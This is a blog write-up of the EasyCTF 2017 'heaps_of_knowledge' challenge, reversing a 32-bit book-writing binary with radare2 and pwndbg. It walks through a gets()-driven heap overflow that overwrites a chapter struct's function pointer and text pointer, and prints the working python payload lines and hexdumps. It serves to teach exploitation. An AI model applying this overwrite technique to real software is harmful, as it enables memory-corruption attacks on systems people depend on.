EasyCTF '17 - heaps_of_knowledge

March 25 2017

K17 competed in the EasyCTF 2017 competition. This challenge was one of the more difficult in the competition - and given a huge 420 points.

For starts lets see what we are dealing with.

$ file heaps_of_knowledge 
heaps_of_knowledge: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3672d7b3e14081049827faa5b6b0a3d94f345d28, not stripped

Okay cool, so a 32bit binary that's not stripped. What about security?

↳ checksec heaps_of_knowledge 
[*] '/home/glenn/Downloads/heaps_of_knowledge' 
 Arch: i386-32-little 
 RELRO: Partial RELRO 
 Stack: No canary found 
 NX: NX enabled 
 PIE: No PIE

Being a heap challenge (hence the challenge) none of these are surprising.

Running the binary gives an interactive interface where you can add/edit chapters, delete them, and print the entire book with all chapters.

↳ ./heaps_of_knowledge 
Please enter the title of the book you would like to write: Harry Potter
You have started writing the book 'Harry Potter'. Please select an option to get started!
1. Edit chapter
2. Delete chapter
3. Publish book
1
Enter chapter number to edit: 1
Adding new chapter
Enter chapter title: 
Chapter 1
Enter chapter text: 
The end
1. Edit chapter
2. Delete chapter
3. Publish book
2
Enter chapter number to delete: 1
deleting chapter
1. Edit chapter
2. Delete chapter
3. Publish book
3
Book published! Here it is:
===============
Harry Potter
===============

Given this information - I then go sniffing around in the binary with radare2. Let's have a look at the functions within the binary.

[0x08048848]> afl
0x0804804f    5 334  -> 335  fcn.0804804f
0x080484ac    3 35           sym._init
0x080484e0    1 6            sym.imp.printf
0x080484f0    1 6            sym.imp.gets
0x08048500    1 6            sym.imp.free
0x08048510    1 6            sym.imp.strdup
0x08048520    1 6            sym.imp.fgets
0x08048530    1 6            sym.imp.fclose
0x08048540    1 6            sym.imp.getegid
0x08048550    1 6            sym.imp.malloc
0x08048560    1 6            sym.imp.puts
0x08048570    1 6            sym.imp.strlen
0x08048580    1 6            sym.imp.__libc_start_main
0x08048590    1 6            sym.imp.fopen
0x080485a0    1 6            sym.imp.putchar
0x080485b0    1 6            sym.imp.fgetc
0x080485c0    1 6            sym.imp.atoi
0x080485d0    1 6            sym.imp.setresgid
0x080485e0    1 6            sub.__gmon_start___252_5e0
0x080485f0    1 33           entry0
0x08048620    1 4            sym.__x86.get_pc_thunk.bx
0x08048630    4 43           sym.deregister_tm_clones
0x08048660    4 53           sym.register_tm_clones
0x080486a0    3 30           sym.__do_global_dtors_aux
0x080486c0    4 43   -> 40   sym.frame_dummy
0x080486eb    1 68           sym.create_book
0x0804872f    1 85           sym.print_chapter
0x08048784    3 22           sym.validate
0x0804879a    9 174          sym.give_flag
0x08048848   36 1348         main
0x08048d90    4 93           sym.__libc_csu_init
0x08048df0    1 2            sym.__libc_csu_fini
0x08048df4    1 20           sym._fini

I see a function, sym.give_flag() which looks like the target! This is where we want to be.

By reading assembly for about an hour, I got a full understanding of the how the binary operates and the data structures being used.

First of all there is a single main data structure struct book and a data structure representing chapters which is instanced for each chapter, struct chapter.

Book:

struct book {
   char *bookTitle;
   int numChapters;
   struct chapter *firstChapter;
}

Chapter:

struct chapter {
   struct chapter *prevChapter;
   struct chapter *nextChapter;
   char *chapTitle;
   char *chapText;
   void (*print_chapter)();
}

The bookTitle, chapTitle, chapText for a new chapter and the entire book are read into a fixed array with bounds checking, and then strdup() is used to add them to the heap.

As new chapters are made, the heap begins to look as follows:

|Book 1 struct | Book 1 Title | Chapter 1 Struct | Chapter 1 Title | Chapter 1 Text | Chapter 2 Struct | Chapter 2 Title | Chapter 2 Text |

The title and text pointers for the Book, and chapters point to these chunks that follow in the heap (as shown above).

Now, where is the sploit you may ask? Follow me padawan..

|           0x080489fd      8b45f4         mov eax, dword [ebp - chapter0]                                                                            
|           0x08048a00      8b400c         mov eax, dword [eax + 0xc]  ; [0xc:4]=0                                                                    
|           0x08048a03      83ec0c         sub esp, 0xc                                                                                               
|           0x08048a06      50             push eax                    ; char *s                                                                      
|           0x08048a07      e8e4faffff     call sym.imp.gets           ;[1]; char*gets(char *s)                                                       
|           0x08048a0c      83c410         add esp, 0x10                                                                                              
|           0x08048a0f      90             nop                                                                                                        
|           0x08048a10      e96a030000     jmp 0x8048d7f               ;[2]

The above excerpt is the program editing a chapter's text body. When you first edit a chapter, you have to give it a name and a text body. The next time you edit it, you may change the body alone.

HOWEVER, unlike the first time where the program uses a fixed bounds read to read into a fixed array and then strdup() into the heap, this block of code simply uses gets() to read directly into the heap.

What does this mean? Simply overwrite chunks in the heap that follow Chapter 1 Text. What would we want to overwrite you ask?

Take a look back at the chapter struct.

There is an element of the struct which is a function pointer to a function that will print that chapter when Publish is selected at the main menu.

Overwrite this with the give_flag() function for wins :)

Here is me doing it in GDB:

Heap overflow from chapter 1 text into chapter 2 text Chapter 1 title: AAA Chapter 1 text: AAAA Chapter 2 title: BBB Chapter 2 text: BBBB

pwndbg> hexdump 0x804c850-128 256 
+0040 0x804c810 00 00 00 00  11 00 00 00  28 c8 04 08  02 00 00 00 │....│....│(...│....│ 
+0050 0x804c820 38 c8 04 08  11 00 00 00  42 4f 4f 4b  54 49 54 4c │8...│....│BOOK│TITL│ 
+0060 0x804c830 45 00 00 00  19 00 00 00  00 00 00 00  70 c8 04 08 │E...│....│....│p...│ 
+0070 0x804c840 50 c8 04 08  60 c8 04 08  2f 87 04 08  11 00 00 00 │P...│`...│/...│....│ 
+0080 0x804c850 41 41 41 0a  00 00 00 00  00 00 00 00  11 00 00 00 │AAA.│....│....│....│ 
+0090 0x804c860 41 41 41 41  0a 00 00 00  00 00 00 00  19 00 00 00 │AAAA│....│....│....│ 
+00a0 0x804c870 38 c8 04 08  00 00 00 00  88 c8 04 08  98 c8 04 08 │8...│....│....│....│ 
+00b0 0x804c880 2f 87 04 08  11 00 00 00  42 42 42 0a  00 00 00 00 │/...│....│BBB.│....│ 
+00c0 0x804c890 00 00 00 00  11 00 00 00  42 42 42 42  0a 00 00 00 │....│....│BBBB│....│ 
+00d0 0x804c8a0 00 00 00 00  61 07 02 00  00 00 00 00  00 00 00 00 │....│a...│....│....│ 
+00e0 0x804c8b0 00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00 │....│....│....│....│

and now after the overflow:

BBBB has overwritten what was the Chapter 1 Text.

CCCC => Chapter 1 `print_chapter()` func 
DDDD => null byte chunk used for 16-byte padding in the heap 
EEEE => `size` field of the Chapter 2 struct chunk 
FFFF => Chapter 2 prev_chapter pointer 
GGGG => Chapter 2 next_chapter pointer 
HHHH => Chapter 2 chapTitle pointer 
IIII => Chapter 2 chapText pointer 
XXXX => Chapter 2 `print_chapter()` func
pwndbg> hexdump 0x804c850-128 256 
+0040 0x804c810 00 00 00 00  11 00 00 00  28 c8 04 08  02 00 00 00 │....│....│(...│....│ 
+0050 0x804c820 38 c8 04 08  11 00 00 00  42 4f 4f 4b  54 49 54 4c │8...│....│BOOK│TITL│ 
+0060 0x804c830 45 00 00 00  19 00 00 00  00 00 00 00  70 c8 04 08 │E...│....│....│p...│ 
+0070 0x804c840 50 c8 04 08  60 c8 04 08  2f 87 04 08  11 00 00 00 │P...│`...│/...│....│ 
+0080 0x804c850 41 41 41 0a  00 00 00 00  00 00 00 00  11 00 00 00 │AAA.│....│....│....│ 
+0090 0x804c860 42 42 42 42  43 43 43 43  44 44 44 44  45 45 45 45 │BBBB│CCCC│DDDD│EEEE│ 
+00a0 0x804c870 46 46 46 46  47 47 47 47  48 48 48 48  49 49 49 49 │FFFF│GGGG│HHHH│IIII│ 
+00b0 0x804c880 58 58 58 58  00 00 00 00  42 42 42 0a  00 00 00 00 │XXXX│....│BBB.│....│ 
+00c0 0x804c890 00 00 00 00  11 00 00 00  42 42 42 42  0a 00 00 00 │....│....│BBBB│....│ 
+00d0 0x804c8a0 00 00 00 00  61 07 02 00  00 00 00 00  00 00 00 00 │....│a...│....│....│ 
+00e0 0x804c8b0 00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00 │....│....│....│....│

Overwrite chapter 1 text with 32 bytes and then a jump address

  • jump address overwrites the chapter 2 print_func()
  • The gets() will trash the entire chunk 2, and the text for chapter 1 is now really long - but yolo as it null terminates at some point!

And after this, we just give the number 3 at the menu, and it will print chapter 1, and then run the give_flag() func when it goes to print the Chapter 2!

Let's run this!

 python -c "print 'BOOKTITLE\n1\n1\nAAA\nAAAA\n1\n2\nBBB\nBBBB\n1\n1\n'+'A'*32+'\x9a\x87\x04\x08\n3\n'" | ./heaps_of_knowledge
Please enter the title of the book you would like to write: You have started writing the book 'BOOKTITLE'. Please select an option to get started!
1. Edit chapter
2. Delete chapter
3. Publish book
Enter chapter number to edit: Adding new chapter
Enter chapter title: 
Enter chapter text: 
1. Edit chapter
2. Delete chapter
3. Publish book
Enter chapter number to edit: Adding new chapter
Enter chapter title: 
Enter chapter text: 
1. Edit chapter
2. Delete chapter
3. Publish book
Enter chapter number to edit: Editing chapter
Enter new chapter text: 
1. Edit chapter
2. Delete chapter
3. Publish book
Book published! Here it is:
===============
BOOKTITLE
===============
---------------
Chapter 1: AAA
---------------
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��
nope! 
[1]    18402 done                              python -c  | 
       18403 segmentation fault (core dumped)  ./heaps_of_knowledge

Hmm.. we see 'nope!'. Let's see what is happening here in the give_flag() func.

|           0x0804879a      55             push ebp                                                                                                   
|           0x0804879b      89e5           mov ebp, esp                                                                                               
|           0x0804879d      83ec18         sub esp, 0x18                                                                                              
|           0x080487a0      a154b00408     mov eax, dword [obj.success] ; [0x804b054:4]=0x1337 ; LEA obj.success ; "7." @ 0x804b054                   
|           0x080487a5      3d37133713     cmp eax, 0x13371337                                                                                        
|           0x080487aa      0f8585000000   jne 0x8048835               ;[1]

As we can see, we need the memory location 0x804b054 to contain 0x13371337.

Looking for the crossrefs of obj.success in radare, I come across a function validate().

[0x08048784]> axt obj.success 
data 0x80487a0 mov eax, dword obj.success in sym.give_flag
data 0x804878d mov dword obj.success, 0x13371337 in sym.validate

There is a function validate() which moves 0x13371337 into theobj.success` address!

/ (fcn) sym.validate 22                                                                                                                               
|   sym.validate (int arg_8h);                                                                                                                        
|           ; arg int arg_8h @ ebp+0x8                                                                                                                
|           0x08048784      55             push ebp                                                                                                   
|           0x08048785      89e5           mov ebp, esp                                                                                               
|           0x08048787      837d0840       cmp dword [ebp + arg_8h], 0x40 ; [0x40:4]=0x8048034 section_end.ehdr ; '@' ; "4... ."                      
|       ,=< 0x0804878b      750a           jne 0x8048797               ;[1]                                                                           
|       |   0x0804878d      c70554b00408.  mov dword [obj.success], 0x13371337 ; [0x804b054:4]=0x1337 ; LEA obj.success ; "7." @ 0x804b054            
|       `-> 0x08048797      90             nop                                                                                                        
|           0x08048798      5d             pop ebp                                                                                                    
\           0x08048799      c3             ret

Sweet! So we need to call validate() before we call give_flag().

What I decided to here, was to make three chapters, and smash the second chapter and make it call validate(), and the third give_flag().

However this wasn't going to work because of ASLR, and I would need to make sure I didn't smash chapter 2 so that it could still point to the third chapter with next_chapter pointer in the struct. And I didn't have a way to leak addresses.

However what I ended up doing was only creating 2 chapters, and this time instead - overwriting the address of the chapText in the chapter 2 struct on the stack with that of obj.success so I could use this write what where primitive to write 0x13371337 :)

Let's try this!

↳ python -c "print 'BOOKTITLE\n1\n1\nAAA\nAAAA\n1\n2\nBBB\nBBBB\n1\n1\n'+'A'*28+'\x54\xb0\x04\x08\x9a\x87\x04\x08\n1\n2\n\x37\x13\x37\x13\n3\n'" | ./heaps_of_knowledge
Please enter the title of the book you would like to write: You have started writing the book 'BOOKTITLE'. Please select an option to get started!
1. Edit chapter
2. Delete chapter
3. Publish book
Enter chapter number to edit: Adding new chapter
Enter chapter title: 
Enter chapter text: 
1. Edit chapter
2. Delete chapter
3. Publish book
Enter chapter number to edit: Adding new chapter
Enter chapter title: 
Enter chapter text: 
1. Edit chapter
2. Delete chapter
3. Publish book
Enter chapter number to edit: Editing chapter
Enter new chapter text: 
1. Edit chapter
2. Delete chapter
3. Publish book
Enter chapter number to edit: Editing chapter
Enter new chapter text: 
1. Edit chapter
2. Delete chapter
3. Publish book
Book published! Here it is:
===============
BOOKTITLE
===============
---------------
Chapter 1: AAA
---------------
AAAAAAAAAAAAAAAAAAAAAAAAAAAAT��
Failed to open flag file!
[1]    18395 done                              python -c  | 
       18396 segmentation fault (core dumped)  ./heaps_of_knowledge

Annnnnnnd it worked! This just failed because I ran it offline and not on the server.

Now wasn't that fun!

Comments